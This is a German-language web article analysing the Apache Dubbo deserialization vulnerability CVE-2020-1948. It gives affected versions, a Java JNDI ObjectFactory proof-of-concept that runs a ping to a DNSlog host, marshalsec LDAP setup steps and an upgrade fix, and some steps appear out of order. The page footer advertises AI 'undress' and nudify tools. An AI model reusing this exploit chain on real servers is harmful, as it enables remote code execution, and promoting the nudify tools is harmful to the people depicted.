


So analysieren Sie die Deserialisierungsschwachstelle von Apache Dubbo
Einführung
Dubbo ist ein leistungsstarkes und exzellentes Service-Framework von Alibaba, das es Anwendungen ermöglicht, Service-Ausgabe- und Eingabefunktionen über Hochleistungs-RPC zu realisieren, und das nahtlos in das Spring-Framework integriert werden kann. Das System verfügt über drei Kernfunktionen, darunter den Aufruf von Remote-Schnittstellenmethoden, intelligente Fehlertoleranz und Lastausgleich sowie die automatische Registrierung und Erkennung von Diensten.
Übersicht
Am 23. Juni 2020 veröffentlichte Apache Dubbo offiziell einen Risikohinweis für die Remotecodeausführung von Apache Dubbo. Die Schwachstellennummer lautet CVE-2020-1948 und die Schwachstellenstufe ist: hohes Risiko. Apache Dubbo ist ein leistungsstarkes, leichtes Open-Source-Java-RPC-Framework, das drei Kernfunktionen bietet: schnittstellenorientierter Remote-Methodenaufruf, intelligente Fehlertoleranz und Lastausgleich sowie automatische Dienstregistrierung und -erkennung. Der Apache Dubbo Provider weist eine Deserialisierungsschwachstelle auf. Ein Angreifer kann über RPC-Anfragen unbekannte Dienstnamen oder Methodennamen und einige schädliche Parameter-Payloads senden.
Betroffene Versionen
Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (offiziell nicht mehr gewartet)
Umgebungseinrichtung
Die JDK-Versionen der Laufumgebung und der Kompilierungs-Exp-Umgebung sind beide 8u121 , Starten Sie die Testumgebung
java -jar dubbo.jar
Nach dem Start wird Port 12345 abgehört kann ausgeführt werden und ein neues calc.java erstellen,
PORT STATE SERVICE VERSION12345/tcp opentextui Alibaba Dubbo remoting telnetd
importjavax.naming.Context; importjavax.naming.Name; importjavax.naming.spi.ObjectFactory; importjava.util.Hashtable; publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io"); returnnull; }}
Legen Sie den kompilierten POC (calc.class) in das Web-Website-Verzeichnis, um sicherzustellen, dass der anfällige Host darauf zugreifen kann. Verwenden Sie das Marshalsec-Projekt, um einen LDAP-Proxy-Dienst zu starten und Marshalsec herunterzuladen:
Starten Sie den LDAP-Proxy-Dienst und der LDAP-Dienst überwacht Port 8086
javac calc.java
Führen Sie den Test aus Skript. DNSlog-Ansicht, Anfrage erfolgreich empfangen
https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
Fehlerbehebung
Upgrade auf Version 2.7.7 und Durchführung der Parameterüberprüfung gemäß der Methode des folgenden Links
https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de
Ersatzprotokoll und Deserialisierungsmethode.
Das obige ist der detaillierte Inhalt vonSo analysieren Sie die Deserialisierungsschwachstelle von Apache Dubbo. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

AI Hentai Generator
Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen



In diesem Artikel wird ein detailliertes Beispiel geschrieben, um über die tatsächliche Entwicklung von Dubbo + Nacos + Spring Boot zu sprechen. In diesem Artikel wird nicht zu viel theoretisches Wissen behandelt, sondern das einfachste Beispiel wird geschrieben, um zu veranschaulichen, wie Dubbo in Nacos integriert werden kann, um schnell eine Entwicklungsumgebung aufzubauen.

[[443126]] Lassen Sie mich mit ein paar Worten beginnen. Manchmal denke ich lange über eine Frage nach, bis ich sie überzeugen kann mich selbst über jeden Punkt der Frage. Deshalb möchte ich diese Gedanken festhalten und einen Artikel formen, der als neue Serie verwendet werden kann. Möglicherweise können Sie den Code in diesen Artikeln nicht sehen, aber Sie können einen Blick auf einige Probleme werfen, die leicht übersehen werden, sowie auf das tiefere „Warum“ des Problems. Heute bringen wir den ersten Artikel: Warum sollte Dubbo in Go neu geschrieben werden? Dubbo, das 2011 in Alibaba geboren und als Open Source bereitgestellt wurde, hat 10 Jahre hinter sich. Im Jahr 2019 wurde es in Go neu geschrieben und als Open Source bereitgestellt. Jetzt, zwei Jahre später, wurde es von der ursprünglichen Version V1.0.0 auf V3.0.0 weiterentwickelt.

Vorwort Bevor wir Dubbo vorstellen, wollen wir zunächst die Grundkonzepte verstehen: RPC ist ein Remote-Prozeduraufruf (Remote Procedure Call). Es wird in der Architektur einzelner Anwendungen und in der Architektur vertikaler Anwendungen verwendet . Es handelt sich bei allen um lokale Prozeduraufrufe. Es ermöglicht einem Programm, eine Prozedur oder Funktion in einem anderen Adressraum (normalerweise einem anderen in einem Netzwerk gemeinsam genutzten Computer) aufzurufen, ohne dass der Programmierer die Details des Remote-Aufrufs explizit codieren muss. Remote-Aufrufe zwischen Anwendungen mit verteilter Architektur erfordern, dass das RPC-Framework Remote-Aufrufe genauso einfach macht wie lokale Aufrufe. Das Dubbo-Framework verfügt über die folgende Komponente Consumer, die den Remote-Dienst aufruft

Wenn Sie Dubbo bereits beherrschen, ist dieser Artikel nicht für Sie geeignet. Wenn Sie jedoch Dubbo verstehen und Dubbo lernen möchten, ist er sehr gut für Sie geeignet.

Einführung Dubbo ist ein leistungsstarkes und exzellentes Service-Framework von Alibaba, das es Anwendungen ermöglicht, Service-Ausgabe- und Eingabefunktionen über Hochleistungs-RPC zu realisieren, und das nahtlos in das Spring-Framework integriert werden kann. Es bietet drei Kernfunktionen: schnittstellenorientierten Remote-Methodenaufruf, intelligente Fehlertoleranz und Lastausgleich sowie automatische Dienstregistrierung und -erkennung. Übersicht Am 23. Juni 2020 veröffentlichte ApacheDubbo offiziell einen Risikohinweis zur Remote-Codeausführung von ApacheDubbo. Die Schwachstellennummer lautet CVE-2020-1948 und die Schwachstellenstufe lautet: hohes Risiko. ApacheDubbo ist ein leistungsstarkes, leichtes Open-Source-JavaRPC-Framework. Es bietet drei Kernfunktionen: schnittstellenorientiertes Remote

Wofür wird SPI verwendet? Beispielsweise haben wir jetzt ein neues Protokollierungs-Framework entwickelt: „Super-Logger“. Standardmäßig werden XML-Dateien als Konfigurationsdateien unseres Protokolls verwendet und eine Schnittstelle zum Parsen von Konfigurationsdateien wurde entwickelt: packagecom.github.kongwu.spisamples; publicinterfaceSuperLoggerConfiguration{voidconfigure(StringconfigFile);} Dann gibt es eine Standard-XML-Implementierung: packagecom .github .kongwu.spisamples;publiccl

Erläuterung der Dubbo-Prinzipien: 2. Kommunikationsprinzipien; 4. Automatische Erkennung und Weiterleitung; 7. Überwachung und Protokollierung; , Skalierbarkeit; 10. Integration mit Spring; 11. Integration mit anderen Technologien. Detaillierte Einführung: 1. Kernkomponenten, einschließlich Registrierungszentrum, Überwachungszentrum, Dienstverbraucher und Dienstanbieter.

1. Beschreibung der Dubbo-Anrufbeziehung 1.1 Die Komponenten bestehen hier hauptsächlich aus vier Teilen: Anbieter: Der Dienstanbieter, der den Dienst bereitstellt. Protokoll: Verantwortlich für die Protokollinteraktionsdaten zwischen dem Anbieter und dem Verbraucher. Dienst: Die eigentlichen Geschäftsdienstinformationen Kann verstanden werden. Container: Dubbos Betriebsumgebung. Verbraucher: Der Dienstverbraucher, der den Remotedienst aufruft. Protokoll: Verantwortlich für die Protokollinteraktionsdaten zwischen dem Anbieter und dem Verbraucher. Cluster: Nimmt die Listeninformationen auf der Anbieterseite wahr. Proxy: Kann sein Darunter versteht man den Service-Call-Agenten des Anbieters, der die Interface-Call-Logik im Consumer ●Register: Registrieren übernimmt
